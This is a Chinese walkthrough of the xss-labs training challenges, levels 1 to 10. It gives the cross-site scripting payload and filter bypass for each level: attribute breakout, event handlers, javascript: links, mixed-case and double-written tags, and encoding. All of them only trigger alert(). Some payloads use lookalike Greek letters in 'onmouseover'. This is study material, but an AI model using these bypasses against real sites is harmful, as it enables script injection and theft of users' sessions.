xss-labs通关
level1
首先打开题目得到:
发现有个参数test请求:
name=<script>alert(1)</script>
得到:
level2
发现题目:
有个搜索框是请求keyword,直接xss发现被转义:
但发现在" "处可以闭合"攻击
所以xss攻击:
"><script>alert(/xss/)</script>
得到:
level3
直接上xss攻击发现:
被转义了
看一下源码:
发现对双引号 " 做了限制,但是却放行了单引号 ’
所以在:
进行xss攻击,’ 闭合
'οnmοuseοver='alert(/xss/)
需要移动鼠标在文本框触发事件:
level4:
直接上xss攻击:
<script>alert(/xss/)</script>
发现没有反应看源码:
发现过滤,但有一处:
只过滤了<>,所以绕过<>
用上一题的方法," 闭合,触发事件:
"οnmοuseοver="alert(/xss/)
level5
先上xss攻击看看:
发现:
发现被做手脚
在尝试事件触发:
发现也被做手脚
但发现在 " 没有被转义就换个方式,"闭合:
javascript 的伪协议:
"><a href=javascript:alert(/xss/)>
得到: "> 点击触发:
level6:
发现和上一题过滤差不多,但把href也过滤了
所以,换个思路
试试能不能大小绕过发现成功了:
"><sCrIpt>alert(/xss/)</Script>
需要注意 "> 闭合
level7
进行各种尝试发现是双写绕过:
"> 闭合xss攻击:
"><scrscriptipt>alert(/xss/)</scrscriptipt>
level8:
进行各种测试发现啥也不是,是编码绕过
利用hex编码绕过,因为有<a>标签
所以利用javascript伪协议绕过:
javascript:alert(/xss/)
level9:
还是先进行各种测试发现都是:
看源码:
发现必须有: http://
和上一题一样,但要有http://
javascript:alert('http://')
level10
还是先进行各种测试发现都没有
在看源码发现隐藏的东西:
三个输入但看源码发现:
就第三个有用,利用事件触发:
先修改为hidden为text:
让输入框出来,在xss攻击:
" οnmοuseοver="alert(/xss/)
传入值后发现还被隐藏,在此修改为:test
触发事件:
参考连接: